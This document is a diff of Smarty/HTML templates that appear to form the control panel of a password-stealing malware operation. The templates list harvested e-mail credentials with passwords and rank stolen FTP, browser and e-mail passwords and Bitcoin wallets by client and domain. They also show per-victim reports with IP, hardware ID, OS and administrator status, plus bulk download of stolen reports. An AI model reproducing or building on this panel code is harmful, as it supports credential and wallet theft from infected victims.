{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
<br />
{if count($email_list)}
<h4>Latest additions E-mail</h4>
<table id="table_email" width="800" cellspacing="0" summary="Latest E-mail additions">
<tr>
<th width="30%">E-mail address</th>
<th width="15%">User</th>
<th width="15%">Password</th>
<th width="20%">E-mail client</th>
<th width="20%">Add time</th>
</tr>
{foreach from=$email_list item=email_item}
{assign var=img_file value="includes/design/images/modules/"|cat:$email_item.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
<tr>
{if strlen($email_item.email) < 30}
<td>
{else}
<td title="{$email_item.email}">
{/if}
{$email_item.email|truncate:30:'...':true:false}</td>
{if strlen($email_item.user) < 13}
<td>
{else}
<td title="{$email_item.user}">
{/if}
{$email_item.user|truncate:13:'...':true:false}</td>
{if strlen($email_item.pass) < 13}
<td>
{else}
<td title="{$email_item.pass}">
{/if}
{$email_item.pass|truncate:13:'...':true:false}</td>
<td style="padding-bottom:2px">{$img_url nofilter}{$email_item.email_client}</td>
<td>{$email_item.import_time}</td>
</tr>
{/foreach}
</table><br />
{else}
<h4>-list E-mail is empty!</h4>
{/if}
{/if}
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
+113
View File
@@ -0,0 +1,113 @@
{if {$smarty.request.routine|default:''} == 'confirm_clear_reports'}
{assign var='msg' value="Are you sure you want to delete all reports?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&amp;routine=clear_reports"}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports"}
{include file='confirm.tpl'}
{/if}
{if $smarty.request.filter_string|default:'' != '' || $smarty.request.filter_ip|default:'' != '' || $smarty.request.filter_hwid|default:'' != '' || $smarty.request.filter_nonparsed|default:'' != '' || $smarty.request.filter_has_passwords|default:'' != ''}
<h4>Attention! The filter mode is activated. <a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports">Disable</a>.</h4><br />
{/if}
{if $priv_can_delete}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_reports">Download all reports</a> (<b>{$total_reports_count}</b> {$total_reports_count|items}, {$total_report_table_size|file_size})<br />
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_nonparsed_reports">Download unprocessed reports</a> ({$total_nonparsed_reports} {$total_nonparsed_reports|items}, {$total_nonparsed_report_size|file_size})<br />
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=confirm_clear_reports">Delete all reports</a> ({$total_report_table_size|file_size})<br />
{/if}
<a class="filter_nav" href="#" onclick="javascript:$('#filter_reports').slideToggle();">Show Filter</a><br />
<br />
<div id="filter_reports" style="display:none;width:400px">
<div id="tabs">
<ul>
<li><a href="#tabs-1">Filter</a></li>
</ul>
<div id="tabs-1">
<br />
<form id="filter_frm" name="filter_frm" action="">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="action" value="reports" />
<input type="hidden" name="token" value="{$token}" />
<div style="padding-left: 10px; width: 130px; display:inline; float: left;">Search by IP: </div><div style="float:left;"><input style="width:200px;" name="filter_ip" value="{$smarty.request.filter_ip|default:''}" /></div>
<div style="clear:both"></div>
<div style="display:block;height:5px;"></div>
<div style="padding-left: 10px; width: 130px; display:inline; float: left;">{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}Search by log:{else}Search by log:{/if}</div><div><input style="width:200px;" name="filter_string" value="{$smarty.request.filter_string|default:''}" /></div>
<div style="clear:both"></div>
<div style="display:block;height:5px;"></div>
{if $smarty.request.filter_hwid|default:'' != ''}
<input type="hidden" name="filter_hwid" value="{$smarty.request.filter_hwid|default:''}" />
{/if}
<input style="margin-left:10px;" type="radio" onclick="javascript:document.filter_frm.filter_has_passwords.checked=false" id="filter_nonparsed" name="filter_nonparsed" value="1"
{if $smarty.request.filter_nonparsed|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_nonparsed"> Show only raw</label><br />
<input style="margin-left:10px;" type="radio" onclick="javascript:document.filter_frm.filter_nonparsed.checked=false" id="filter_has_passwords" name="filter_has_passwords" value="1"
{if $smarty.request.filter_has_passwords|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_has_passwords"> Show reports without passwords</label>
<br /><br />
<div class="buttons">
<button class="neutral" onclick="javascript:clear_form('#filter_frm'); return false;" style="width:110px;">
<img src="includes/design/images/reset_icon.png" alt="" />
Reset
</button>
<button class="positive" onclick="javascript:document.filter_frm.submit();" style="width:130px;">
<img src="includes/design/images/find_icon.png" alt="" />
Activate
</button>
</div>
</form>
<br /><br />
</div>
</div>
<br />
</div>
{if count($report_list)}
<table id="table_reports" width="800" cellspacing="0" summary="Log contents">
<tr>
<th width="15%">Report</th>
<th width="20%">IP</th>
<th width="25%">Add time</th>
<th width="10%">Processed</th>
<th width="15%">The size</th>
<th width="15%">Passwords</th>
</tr>
{foreach from=$report_list item=report_item}
<tr>
{if $report_item.report_id == ''}
<td></td>
{else}
{if $report_item.report_id == '0' || $report_item.report_id == ''}
<td>$report_item.report_id<a class="view_report_delete"
{else}
<td><a class="view_report"
{/if}
href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=view_report&amp;report_id={$report_item.report_id}">Open</a></td>
{/if}
<td title="{$report_item.report_country_name}">
{country base_path="includes/design/images/flags/" country_code=$report_item.report_country simple='1'} <a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;filter_ip={$report_item.report_source_ip}&amp;filter_has_passwords=1"><font size="-2">{$report_item.report_source_ip}</font></a>
</td>
<td>{$report_item.import_time}</td>
<td>{$report_item.parsed|yes_no}</td>
<td>{$report_item.report_len|file_size}</td>
<td>{$report_item.count}</td>
</tr>
{/foreach}
</table><br />
{if $paginate.page_total gt 1}
<div id="page_select">
{paginate_prev} {paginate_middle link_prefix=" " link_suffix=" |" format="page" prefix="" suffix=""} {paginate_next}
</div>
{/if}
{/if}
+234
View File
@@ -0,0 +1,234 @@
{* Navigation menu *}
<a class="update_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=stats">Update</a><br /><br />
<div class="mychart">
<img width="680" height="230" src="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=chart&amp;routine=last_24_hours" alt="" />
</div>
<div class="mychart">
<img width="680" height="230" src="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=chart&amp;routine=last_month" alt="" />
</div>
<div class="mychart" style="height: 250px;">
<img width="680" height="250" src="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=chart&amp;routine=os" alt="" />
</div>
{* FTP Clients stats *}
{if count($ftp_clients_list)}
<h4>The popularity of FTP clients</h4>
<table id="FTPClientsStats" width="700" cellspacing="0" summary="FTP clients popularity">
<tbody><tr>
<th width="75%">FTP client</th>
<th width="25%">Number of passwords</th>
</tr></tbody>
<tbody>
{assign var="max_ftp_client_list" value=10}
{foreach from=$ftp_clients_list item=ftp_client name=ftp_client_traversal}
{assign var=img_file value="includes/design/images/modules/"|cat:$ftp_client.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
{if $smarty.foreach.ftp_client_traversal.index == $max_ftp_client_list}
{assign var=ftp_clients_extra_data value=true}
</tbody>
<tbody id="hidden_rows_ftp" style="display: none;">
{elseif $smarty.foreach.ftp_client_traversal.index < $max_ftp_client_list}
{/if}
<tr>
<td style="padding-bottom:2px">{$img_url nofilter}{$ftp_client.name}</td>
<td><b>{$ftp_client.count}</b> ({$ftp_client.percentage}%)</td>
</tr>
{/foreach}
</tbody></table>
{* Show more FTPClients link *}
{if isset($ftp_clients_extra_data)}
<div style="width:700px">
<p align="right"><a class="local_nav_ftp" href="javascript:showMore('_ftp')">Show All</a> <font style="font-size:11px;">({count($ftp_clients_list)})</font></p>
</div>
{/if}
<br />
{/if}
{* HTTP Clients stats *}
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
{if count($http_clients_list)}
<h4>The popularity of Internet browsers</h4>
<table id="HTTPClientsStats" width="700" cellspacing="0" summary="HTTP clients popularity">
<tbody><tr>
<th width="75%">Browser</th>
<th width="25%">Number of passwords</th>
</tr></tbody>
<tbody>
{assign var="max_http_client_list" value=10}
{foreach from=$http_clients_list item=http_client name=http_client_traversal}
{assign var=img_file value="includes/design/images/modules/"|cat:$http_client.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
{if $smarty.foreach.http_client_traversal.index == $max_http_client_list}
{assign var=http_clients_extra_data value=true}
</tbody>
<tbody id="hidden_rows_http" style="display: none;">
{elseif $smarty.foreach.http_client_traversal.index < $max_http_client_list}
{/if}
<tr>
<td style="padding-bottom:2px">{$img_url nofilter}{$http_client.name}</td>
<td><b>{$http_client.count}</b> ({$http_client.percentage}%)</td>
</tr>
{/foreach}
</tbody></table>
{* Show more HTTPClients link *}
{if isset($http_clients_extra_data)}
<div style="width:700px">
<p align="right"><a class="local_nav_http" href="javascript:showMore('_http')">show all</a> <font style="font-size:11px;">({count($http_clients_list)})</font></p>
</div>
{/if}
<br />
{/if}
{/if}
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
{* E-mail Clients stats *}
{if count($email_clients_list)}
<h4>The popularity of E-mail clients</h4>
<table id="EmailClientsStats" width="700" cellspacing="0" summary="E-mail clients popularity">
<tr>
<th width="75%">E-mail client</th>
<th width="25%">Number of passwords</th>
</tr>
{foreach from=$email_clients_list item=email_client}
<tr>
{assign var=img_file value="includes/design/images/modules/"|cat:$email_client.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
<td style="padding-bottom:2px">{$img_url nofilter}{$email_client.name}</td>
<td><b>{$email_client.count}</b> ({$email_client.percentage}%)</td>
</tr>
{/foreach}
</table>
<br />
{/if}
{/if}
{* HTTP domain stats *}
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
{if count($http_domain_list)}
<h4>The popularity of HTTP domains</h4>
<table id="HTTPDomainStats" width="700" cellspacing="0" summary="HTTP domains popularity">
<tbody><tr>
<th width="75%">Domain Name</th>
<th width="25%">Number of passwords</th>
</tr></tbody>
<tbody>
{assign var="max_http_domain_list" value=10}
{foreach from=$http_domain_list item=http_domain name=http_domain_traversal}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\"includes/design/images/domain_icon.png\" width=\"16\" height=\"16\" alt=\"\" /> "}
{if $smarty.foreach.http_domain_traversal.index == $max_http_domain_list}
{assign var=http_domain_extra_data value=true}
</tbody>
<tbody id="hidden_rows_http_dom" style="display: none;">
{elseif $smarty.foreach.http_domain_traversal.index < $max_http_domain_list}
{/if}
<tr>
<td style="padding-bottom:2px">{$img_url nofilter}{$http_domain.domain}</td>
<td><b>{$http_domain.count}</b> ({$http_domain.percentage}%)</td>
</tr>
{/foreach}
</tbody></table>
{* Show more HTTPdomains link *}
{if isset($http_domain_extra_data)}
<div style="width:700px">
<p align="right"><a class="local_nav_http_dom" href="javascript:showMore('_http_dom')">show all</a> <font style="font-size:11px;">({count($http_domain_list)})</font></p>
</div>
{/if}
<br />
{/if}
{/if}
{* Bitcoin clients stats *}
{if count($bitcoin_clients_list)}
<h4>The popularity of Bitcoin customers</h4>
<table id="BitcoinClientsStats" width="700" cellspacing="0" summary="Bitcoin clients popularity">
<tbody><tr>
<th width="75%">Bitcoin client</th>
<th width="25%">Number of wallets</th>
</tr></tbody>
<tbody>
{assign var="max_bitcoin_client_list" value=5}
{foreach from=$bitcoin_clients_list item=bitcoin_client name=bitcoin_client_traversal}
{assign var=img_file value="includes/design/images/modules/"|cat:$bitcoin_client.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
{if $smarty.foreach.bitcoin_client_traversal.index == $max_bitcoin_client_list}
{assign var=bitcoin_clients_extra_data value=true}
</tbody>
<tbody id="hidden_rows_bitcoin" style="display: none;">
{elseif $smarty.foreach.bitcoin_client_traversal.index < $max_bitcoin_client_list}
{/if}
<tr>
<td style="padding-bottom:2px">{$img_url nofilter}{$bitcoin_client.name}</td>
<td><b>{$bitcoin_client.count}</b> ({$bitcoin_client.percentage}%)</td>
</tr>
{/foreach}
</tbody></table>
{* Show more Bitcoin Clients link *}
{if isset($bitcoin_clients_extra_data)}
<div style="width:700px">
<p align="right"><a class="local_nav_bitcoin" href="javascript:showMore('_bitcoin')">show all</a> <font style="font-size:11px;">({count($bitcoin_clients_list)})</font></p>
</div>
{/if}
<br />
{/if}
{* Country stats *}
{if count($country_list)}
<h4>Country statistics</h4>
<table id="CountryStats" width="700" cellspacing="0" summary="Country statistics">
<tbody><tr>
<th width="50%">Country</th>
<th width="25%">Number of reports</th>
<th width="25%">Number of passwords</th>
</tr></tbody>
<tbody>
{assign var="max_country_list" value=10}
{foreach from=$country_list item=country_item name=country_list_traversal}
{if $smarty.foreach.country_list_traversal.index == $max_country_list}
{assign var=country_list_extra_data value=true}
</tbody>
<tbody id="hidden_rows_country" style="display: none;">
{/if}
<tr>
{if $country_item.country_code == ''}
<td><div style="margin-left:20px">Unknown</div></td>
{else}
<td>{country base_path="includes/design/images/flags/" country_code=$country_item.country_code country_name=$country_item.country_name}</td>
{/if}
<td><b>{$country_item.report_count}</b> ({$country_item.report_percentage}%)</td>
<td><b>{$country_item.ftp_count}</b> ({$country_item.ftp_percentage}%)</td>
</tr>
{/foreach}
</tbody></table>
{* Show more country link *}
{if isset($country_list_extra_data)}
<div style="width:700px">
<p align="right"><a class="local_nav_country" href="javascript:showMore('_country')">show all</a> <font style="font-size:11px;">({count($country_list)})</font></p>
</div>
{/if}
{/if}
+1
View File
@@ -0,0 +1 @@
<!-- This page was generated in {stopwatch} seconds -->
+3
View File
@@ -0,0 +1,3 @@
<h4 class="success_header">
ÓSuccess!
</h4><br />
+69
View File
@@ -0,0 +1,69 @@
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&amp;routine=view_report&amp;report_id={$report_id}"}
{if {$smarty.request.routine|default:''} == 'confirm_delete'}
{assign var='msg' value="Are you sure you want to delete the report?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&amp;routine=delete&amp;report_id={$report_id}"}
{include file='confirm.tpl'}
{/if}
{if $report_id != '' && $report_id != '0' && isset($report) && is_array($report)}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=download_report&amp;report_id={$report_id}">Download the report</a> ({$report_size|file_size})<br />
<a class="update_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=reparse&amp;report_id={$report_id}">Reprocess the report</a><br />
{if $priv_can_delete}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=confirm_delete&amp;report_id={$report_id}">Delete Report</a><br />
{/if}
<br />
{/if}
{if isset($log_item) && is_array($log_item)}
<table id="table_view_log" width="800" cellspacing="0" summary="Log record data">
<tr><th width="25%">Log record data</th><th>&nbsp;</th></tr>
<tr><td>Text</td><td>{$log_item.log_line}</td></tr>
<tr><td>Additional Information</td><td>{$log_item.log_extra}
{if strstr($log_item.log_line, '_GATE_')}
(<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;filter_ip={$log_item.log_extra}&amp;filter_notify=1">find in the logs by IP</a> |
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;filter_ip={$log_item.log_extra}&amp;filter_has_passwords=1">find in reports on IP</a>)
{/if}
</td></tr>
<tr><td>Add time</td><td>{$log_item.import_time}</td></tr>
{if $log_item.report_id != '0' && $log_item.report_id != ''}
<tr><td>Report</td><td>{$log_item.report_id}</td></tr>
{/if}
</table><br />
{else}
{if {$smarty.request.log_id|default:''} != '' && {$smarty.request.log_id|default:''} != '0'}
{include file='error.tpl' err_code='ERR_UNK_LOG_ID'}
{/if}
{/if}
{if isset($report) && is_array($report)}
<table id="table_view_report" width="800" cellspacing="0" summary="Report data">
<tr><th width="25%">Report Details</th><th width="75%">&nbsp;</th></tr>
<tr><td>ID</td><td>{$report.report_id}</td></tr>
<tr><td>The size</td><td>{$report.report_len|file_size}</td></tr>
<tr><td>Processed</td><td>{$report.parsed|yes_no}</td></tr>
<tr><td>Add time</td><td>{$report.import_time}</td></tr>
<tr><td>OS</td><td>{$report.report_os_name}</td></tr>
<tr><td>Country</td><td>{$report.report_country}</td></tr>
<tr><td>64-bit</td><td>{$report.report_is_win64|yes_no}</td></tr>
<tr><td>Running with administrator privileges</td><td>{$report.report_admin|yes_no}</td></tr>
<tr><td>IP</td><td>{$report.report_source_ip} {country base_path="includes/design/images/flags/" country_code=$report.report_source_ip_country_code country_name=$report.report_source_ip_country_name}
{if ($report.report_source_ip != '')}
(<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;filter_ip={$report.report_source_ip}&amp;filter_notify=1">find in the logs by IP</a> |
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;filter_ip={$report.report_source_ip}&amp;filter_has_passwords=1">find in reports by IP</a>)
{/if}
</td></tr>
<tr><td>HWID</td><td>{$report.report_hwid}
{if ($report.report_hwid != '')}
(<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;filter_hwid={$report.report_hwid}&amp;filter_notify=1">find in the logs by HWID</a> |
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;filter_hwid={$report.report_hwid}&amp;filter_has_passwords=1">find in reports on HWID</a>)
{/if}
</td></tr>
<tr><td>Client version</td><td>{$report.report_version}</td></tr>
</table><br />
{else}
{if {$smarty.request.report_id|default:''} != '' && {$smarty.request.report_id|default:''} != '0'}
{include file='error.tpl' err_code='ERR_UNK_REPORT_ID'}
{/if}
{/if}